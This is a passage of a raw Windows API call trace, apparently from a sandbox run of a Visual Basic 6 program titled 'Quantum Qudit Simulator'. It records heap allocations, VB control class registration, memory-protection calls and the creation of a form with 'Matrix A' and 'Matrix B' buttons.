(HeapHandle=0x2650000, Flags=0x8, Size=0x4c) returned 0x2666ce0 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1c8) returned 0x2666d38 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661708 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26637a8 [0037.493] lstrlenA (lpString="VB") returned 2 [0037.493] lstrlenA (lpString="HScrollBar") returned 10 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xe) returned 0x2665650 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x2666f08 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x90) returned 0x2666f38 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2666fd0 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x144) returned 0x2667000 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661728 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26638d0 [0037.494] lstrlenA (lpString="VB") returned 2 [0037.494] lstrlenA (lpString="VScrollBar") returned 10 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xe) returned 0x2665668 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x2667168 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x90) returned 0x2667950 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2667198 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x144) returned 0x26679e8 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661748 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26639f8 [0037.494] lstrlenA (lpString="VB") returned 2 [0037.494] lstrlenA (lpString="DriveListBox") returned 12 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x10) returned 0x2665680 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x26671c8 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xc0) returned 0x2667b38 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x40) returned 0x2667c00 [0037.494] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1a0) returned 0x2667c48 [0037.494] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x26667e0, Size=0xf0) returned 0x2667df0 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661768 [0037.495] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x26668b0, Size=0xf0) returned 0x2667ee8 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663b20 [0037.495] lstrlenA (lpString="VB") returned 2 [0037.495] lstrlenA (lpString="DirListBox") returned 10 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xe) returned 0x2665698 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x26671f8 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xc8) returned 0x26667e0 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x50) returned 0x2668000 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1b0) returned 0x2668fe8 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661788 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663c48 [0037.495] lstrlenA (lpString="VB") returned 2 [0037.495] lstrlenA (lpString="FileListBox") returned 11 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xf) returned 0x26656b0 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2667228 [0037.495] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xec) returned 0x26691a0 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x58) returned 0x26668b0 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1f8) returned 0x2669298 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26617a8 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663d70 [0037.496] lstrlenA (lpString="VB") returned 2 [0037.496] lstrlenA (lpString="Shape") returned 5 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x26656c8 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x1c) returned 0x2662a28 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x68) returned 0x2666910 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xfc) returned 0x2669498 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26617c8 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663e98 [0037.496] lstrlenA (lpString="VB") returned 2 [0037.496] lstrlenA (lpString="Line") returned 4 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x8) returned 0x2654640 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x18) returned 0x26617e8 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x50) returned 0x2668058 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xd0) returned 0x26695a0 [0037.496] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661808 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663fc0 [0037.497] lstrlenA (lpString="VB") returned 2 [0037.497] lstrlenA (lpString="Image") returned 5 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x26656e0 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x2667258 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x98) returned 0x2669678 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x34) returned 0x2669718 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x154) returned 0x2669758 [0037.497] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x2667df0, Size=0x118) returned 0x26698b8 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661828 [0037.497] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x2667ee8, Size=0x118) returned 0x26699d8 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26640e8 [0037.497] lstrlenA (lpString="VB") returned 2 [0037.497] lstrlenA (lpString="Data") returned 4 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x8) returned 0x2667df0 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xd8) returned 0x2667e00 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x3c) returned 0x2667ee0 [0037.497] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1d8) returned 0x2669af8 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661848 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2664210 [0037.498] lstrlenA (lpString="VB") returned 2 [0037.498] lstrlenA (lpString="OLE") returned 3 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x7) returned 0x2667f28 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x17c) returned 0x2669cd8 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x40) returned 0x2667f38 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x2f0) returned 0x2669e60 [0037.498] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661868 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e478 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e4e8 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e558 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e5c8 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e638 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e6a8 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e718 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e788 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e7f8 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e868 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e8d8 [0037.499] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e948 [0037.500] IMalloc:Alloc (This=0x767666bc, cb=0x64) returned 0x64e9b8 [0037.500] IMalloc:Alloc (This=0x767666bc, cb=0xc) returned 0x64aef0 [0037.500] IMalloc:Alloc (This=0x767666bc, cb=0x11c) returned 0x64ea28 [0037.500] IMalloc:GetSize (This=0x767666bc, pv=0x64ea28) returned 0x11c [0037.500] IMalloc:Alloc (This=0x767666bc, cb=0x20) returned 0x649728 [0037.501] GetCurrentThreadId () returned 0x43c [0037.501] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x54) returned 0x2667f80 [0037.501] GetCurrentThreadId () returned 0x43c [0037.501] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x649750 [0037.501] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x104) returned 0x266a158 [0037.502] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x6f8) returned 0x266a268 [0037.502] VirtualProtect (in: lpAddress=0x210000, dwSize=0x6000, flNewProtect=0x4, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x20) returned 1 [0037.502] GetCurrentProcess () returned 0xffffffff [0037.502] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0x6000) returned 1 [0037.502] VirtualAlloc (lpAddress=0x210000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.502] VirtualAlloc (lpAddress=0x210000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.502] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xd4) returned 0x266a968 [0037.502] VirtualAlloc (lpAddress=0x210000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.502] VirtualAlloc (lpAddress=0x210000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.502] VirtualProtect (in: lpAddress=0x210000, dwSize=0xa000, flNewProtect=0x20, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x4) returned 1 [0037.504] GetCurrentProcess () returned 0xffffffff [0037.504] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0xa000) returned 1 [0037.504] GetCurrentThreadId () returned 0x43c [0037.504] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x23ec) returned 0x266aa48 [0037.513] GetCurrentThreadId () returned 0x43c [0037.513] SetWindowTextA (hWnd=0x5011c, lpString="Quantum Qudit Simulator") returned 1 [0037.513] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0xc, wParam=0x0, lParam=0x18fd6c) returned 0x1 [0037.513] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fd54 | out: phkResult=0x18fd54*=0x0) returned 0x2 [0037.515] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0037.515] VirtualQuery (in: lpAddress=0x18f780, lpBuffer=0x18f764, dwLength=0x1c | out: lpBuffer=0x18f764*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.516] IMalloc:Alloc (This=0x767666bc, cb=0x4c) returned 0x65ef58 [0037.516] IMalloc:GetSize (This=0x767666bc, pv=0x65ef58) returned 0x4c [0037.517] GetCurrentThreadId () returned 0x43c [0037.517] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x104) returned 0x266ce40 [0037.517] GetCurrentThreadId () returned 0x43c [0037.517] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x266cf50 [0037.517] GetCurrentThreadId () returned 0x43c [0037.519] GetCurrentThreadId () returned 0x43c [0037.519] GetCurrentThreadId () returned 0x43c [0037.519] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x140) returned 0x266cff8 [0037.519] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x26656f8 [0037.519] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x434) returned 0x266d140 [0037.519] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xb4 [0037.520] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x198) returned 0x266d580 [0037.520] GetVersionExA (in: lpVersionInformation=0x18fa7c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1665c7c, dwMinorVersion=0x18f9cc, dwBuildNumber=0x18fd00, dwPlatformId=0x18ff70, szCSDVersion="Í\x1eËw\x83C\x13") | out: lpVersionInformation=0x18fa7c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0037.521] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0037.521] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661888 [0037.521] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x14) returned 0x26618a8 [0037.521] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x80) returned 0x266d720 [0037.521] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266d720 | out: hHeap=0x2650000) returned 1 [0037.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72992cd8, cbMultiByte=-1, lpWideCharStr=0x18faa4, cchWideChar=14 | out: lpWideCharStr="MS Sans Serif") returned 14 [0037.521] OleCreateFontIndirect () returned 0x0 [0037.524] lstrlenA (lpString="Quantum Qudit Simulator") returned 23 [0037.524] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x18) returned 0x26618c8 [0037.527] OleLoadPictureEx () returned 0x0 [0037.724] lstrlenA (lpString="Form1") returned 5 [0037.724] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x6) returned 0x266d720 [0037.724] lstrlenA (lpString=0x729b32f8) returned 10 [0037.724] lstrcpyA (in: lpString1=0x18fab8, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0037.724] lstrlenA (lpString="ThunderRT6Form") returned 14 [0037.724] lstrcpynA (in: lpString1=0x18fac6, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0037.724] lstrlenA (lpString="ThunderRT6") returned 10 [0037.724] lstrcpyA (in: lpString1=0x18fa4c, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0037.724] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6Form", lpWndClass=0x18fa78 | out: lpWndClass=0x18fa78) returned 0 [0037.724] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0037.724] RegisterClassA (lpWndClass=0x18fa78) returned 0xcc164 [0037.724] lstrlenA (lpString="ThunderRT6") returned 10 [0037.724] lstrcpyA (in: lpString1=0x18fa4c, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0037.724] lstrlenA (lpString="ThunderRT6Form") returned 14 [0037.724] lstrcpynA (in: lpString1=0x18fa5a, lpString2="DC", iMaxLength=29 | out: lpString1="DC") returned="DC" [0037.724] RegisterClassA (lpWndClass=0x18fa78) returned 0xc163 [0037.724] AdjustWindowRectEx (in: lpRect=0x18fb78, dwStyle=0x2c80000, bMenu=0, dwExStyle=0x40080 | out: lpRect=0x18fb78) returned 1 [0037.724] CreateWindowExA (dwExStyle=0x40080, lpClassName=0xc163, lpWindowName="Quantum Qudit Simulator", dwStyle=0x2c80000, X=422, Y=334, nWidth=164, nHeight=106, hWndParent=0x5011c, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x50114 [0037.725] NtdllDefWindowProc_A (hWnd=0x50114, Msg=0x81, wParam=0x0, lParam=0x18f69c) returned 0x1 [0037.725] NtdllDefWindowProc_A (hWnd=0x50114, Msg=0x83, wParam=0x0, lParam=0x18f688) returned 0x0 [0037.832] GetSystemMenu (hWnd=0x50114, bRevert=0) returned 0x3023f [0037.832] SetWindowContextHelpId (param_1=0x50114, param_2=0xffffffff) returned 1 [0037.833] NtdllDefWindowProc_A (hWnd=0x50114, Msg=0x1, wParam=0x0, lParam=0x18f69c) returned 0x0 [0037.833] GetDC (hWnd=0x50114) returned 0x3701025e [0037.833] GetTextMetricsA (in: hdc=0x3701025e, lptm=0x18fa64 | out: lptm=0x18fa64) returned 1 [0037.833] SetBkMode (hdc=0x3701025e, mode=1) returned 2 [0037.834] OleTranslateColor () returned 0x0 [0037.834] SetBkColor (hdc=0x3701025e, color=0xf0f0f0) returned 0xffffff [0037.834] OleTranslateColor () returned 0x0 [0037.834] SetTextColor (hdc=0x3701025e, color=0x0) returned 0x0 [0037.834] OleTranslateColor () returned 0x0 [0037.834] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x2f300259 [0037.834] SelectObject (hdc=0x3701025e, h=0x2f300259) returned 0x1b00017 [0037.834] SelectObject (hdc=0x3701025e, h=0x1900011) returned 0x1900010 [0037.834] ClientToScreen (in: hWnd=0x50114, lpPoint=0x18fa44 | out: lpPoint=0x18fa44) returned 1 [0037.834] SetBrushOrgEx (in: hdc=0x3701025e, x=1, y=3, lppt=0x0 | out: lppt=0x0) returned 1 [0037.834] UnrealizeObject (h=0x1900015) returned 1 [0037.834] SelectObject (hdc=0x3701025e, h=0x1900015) returned 0x1900011 [0037.834] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x26618e8 [0037.835] SelectObject (hdc=0x3701025e, h=0x1e0a07b8) returned 0x18a002e [0037.835] GetTextMetricsA (in: hdc=0x3701025e, lptm=0x18f858 | out: lptm=0x18f858) returned 1 [0037.836] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xdc) returned 0x266d730 [0037.836] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661908 [0037.836] lstrlenA (lpString="Matrix B") returned 8 [0037.836] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x2665710 [0037.836] lstrlenA (lpString="ThunderRT6") returned 10 [0037.837] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0037.837] lstrlenA (lpString="ThunderRT6") returned 10 [0037.837] lstrcpyA (in: lpString1=0x18fa1c, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0037.837] GetClassInfoA (in: hInstance=0x0, lpClassName="Button", lpWndClass=0x18fa48 | out: lpWndClass=0x18fa48) returned 1 [0037.837] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6CommandButton", lpWndClass=0x18fa48 | out: lpWndClass=0x18fa48) returned 0 [0037.837] RegisterClassA (lpWndClass=0x18fa48) returned 0xc162 [0037.837] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc162, lpWindowName="Matrix B", dwStyle=0x44012000, X=80, Y=40, nWidth=65, nHeight=33, hWndParent=0x50114, hMenu=0x1, hInstance=0x72940000, lpParam=0x0) returned 0x60106 [0037.837] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0037.837] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0037.837] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0037.838] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x5, wParam=0x0, lParam=0x210041) returned 0x0 [0037.838] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x3, wParam=0x0, lParam=0x280050) returned 0x0 [0037.838] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x2661928 [0037.838] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x30, wParam=0x1e0a07b8, lParam=0x0) returned 0x0 [0037.838] ShowWindow (hWnd=0x60106, nCmdShow=5) returned 0 [0037.838] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x60106, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0037.838] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xdc) returned 0x266d818 [0037.838] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661948 [0037.838] lstrlenA (lpString="Matrix A") returned 8 [0037.838] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x2665728 [0037.838] lstrlenA (lpString="ThunderRT6") returned 10 [0037.838] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0037.838] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc162, lpWindowName="Matrix A", dwStyle=0x44012000, X=8, Y=40, nWidth=65, nHeight=33, hWndParent=0x50114, hMenu=0x2, hInstance=0x72940000, lpParam=0x0) returned 0x50162 [0037.838] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0037.839] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0037.839] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0037.839] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x5, wParam=0x0, lParam=0x210041) returned 0x0 [0037.839] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x3, wParam=0x0, lParam=0x280008) returned 0x0 [0037.839] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x2661968 [0037.839] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x30, wParam=0x1e0a07b8, lParam=0x0) returned 0x0 [0037.839] ShowWindow (hWnd=0x50162, nCmdShow=5) returned 0 [0037.839] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x50162, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0037.839] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xdc) returned 0x266d900 [0037.839] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661988 [0037.839] lstrlenA (lpString="Save To Matrix A Or Matrix B ?") returned 30 [0037.839] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1f) returned 0x266d9e8 [0037.839] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x26619a8 [0037.840] GetClientRect (in: hWnd=0x50114, lpRect=0x18fbf8 | out: lpRect=0x18fbf8) returned 1 [0037.840] MapWindowPoints (in: hWndFrom=0x50114, hWndTo=0x0, lpPoints=0x18fbf8, cPoints=0x2 | out: lpPoints=0x18fbf8) returned 23265705 [0037.840] EqualRect (lprc1=0x18fbf8, lprc2=0x18fbd8) returned 1 [0037.840] SetEvent (hEvent=0xb4) returned 1 [0037.840] SendMessageA (hWnd=0x50114, Msg=0x80, wParam=0x1, lParam=0x20249) returned 0x0 [0037.840] GetCapture () returned 0x0 [0037.840] GetCapture () returned 0x0 [0037.840] NtdllDefWindowProc_A (hWnd=0x50114, Msg=0x80, wParam=0x1, lParam=0x20249) returned 0x0 [0037.852] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18fab4 | out: ppstm=0x18fab4*=0x660270) returned 0x0 [0037.853] GetSystemMetrics (nIndex=49) returned 16 [0037.853] GetSystemMetrics (nIndex=50) returned 16 [0037.853] IStream:RemoteSeek (in: This=0x660270, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0037.853] ISequentialStream:RemoteRead (in: This=0x660270, pv=0x18fa64, cb=0x6, pcbRead=0x0 | out: pv=0x18fa64*=0x0, pcbRead=0x0) returned 0x0 [0037.853] ISequentialStream:RemoteRead (in: This=0x660270, pv=0x18fa3c, cb=0x10, pcbRead=0x0 | out: pv=0x18fa3c*=0x10, pcbRead=0x0) returned 0x0 [0037.853] ISequentialStream:RemoteRead (in: This=0x660270, pv=0x18fa3c, cb=0x10, pcbRead=0x0 | out: pv=0x18fa3c*=0x10, pcbRead=0x0) returned 0x0 [0037.853] IStream:RemoteSeek (in: This=0x660270, dlibMove=0x126, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0037.853] GlobalLock (hMem=0x24f000c) returned 0x661528 [0037.853] ISequentialStream:RemoteRead (in: This=0x660270, pv=0x661528, cb=0x28, pcbRead=0x0 | out: pv=0x661528*=0x28, pcbRead=0x0) returned 0x0 [0037.853] ISequentialStream:RemoteRead (in: This=0x660270, pv=0x661550, cb=0x100, pcbRead=0x0 | out: pv=0x661550*=0x0, pcbRead=0x0) returned 0x0 [0037.853] GlobalUnlock (hMem=0x24f000c) returned 0 [0037.853] GlobalLock (hMem=0x24f000c) returned 0x661528 [0037.853] GlobalSize (hMem=0x24f000c) returned 0x128 [0037.853] GetDC (hWnd=0x0) returned 0x460107ac [0037.853] CreateCompatibleBitmap (hdc=0x460107ac, cx=32, cy=32) returned 0x330509cb [0037.854] SelectObject (hdc=0x3001024b, h=0x330509cb) returned 0x185000f [0037.854] StretchDIBits (hdc=0x3001024b, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x661590, lpbmi=0x661528, iUsage=0x0, rop=0xcc0020) returned 16 [0037.854] GetObjectA (in: h=0x330509cb, c=24, pv=0x18f9d4 | out: pv=0x18f9d4) returned 24 [0037.854] GlobalLock (hMem=0x24f001c) returned 0x661660 [0037.854] GetBitmapBits (in: hbit=0x330509cb, cb=4096, lpvBits=0x661660 | out: lpvBits=0x661660) returned 4096 [0037.854] SelectObject (hdc=0x3001024b, h=0x185000f) returned 0x330509cb [0037.854] DeleteObject (ho=0x330509cb) returned 1 [0037.854] CreateBitmap (nWidth=32, nHeight=32, nPlanes=0x1, nBitCount=0x1, lpBits=0x0) returned 0x340509cb [0037.854] SelectObject (hdc=0x3001024b, h=0x340509cb) returned 0x185000f [0037.854] StretchDIBits (hdc=0x3001024b, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x661610, lpbmi=0x661528, iUsage=0x0, rop=0xcc0020) returned 16 [0037.854] GetObjectA (in: h=0x340509cb, c=24, pv=0x18f9bc | out: pv=0x18f9bc) returned 24 [0037.854] GlobalLock (hMem=0x24f0024) returned 0x662670 [0037.854] GetBitmapBits (in: hbit=0x340509cb, cb=128, lpvBits=0x662670 | out: lpvBits=0x662670) returned 128 [0037.854] CreateIcon (hInstance=0x400000, nWidth=32, nHeight=32, cPlanes=0x1, cBitsPixel=0x20, lpbANDbits=0x662670, lpbXORbits=0x661660) returned 0x900d7 [0037.854] GlobalUnlock (hMem=0x24f001c) returned 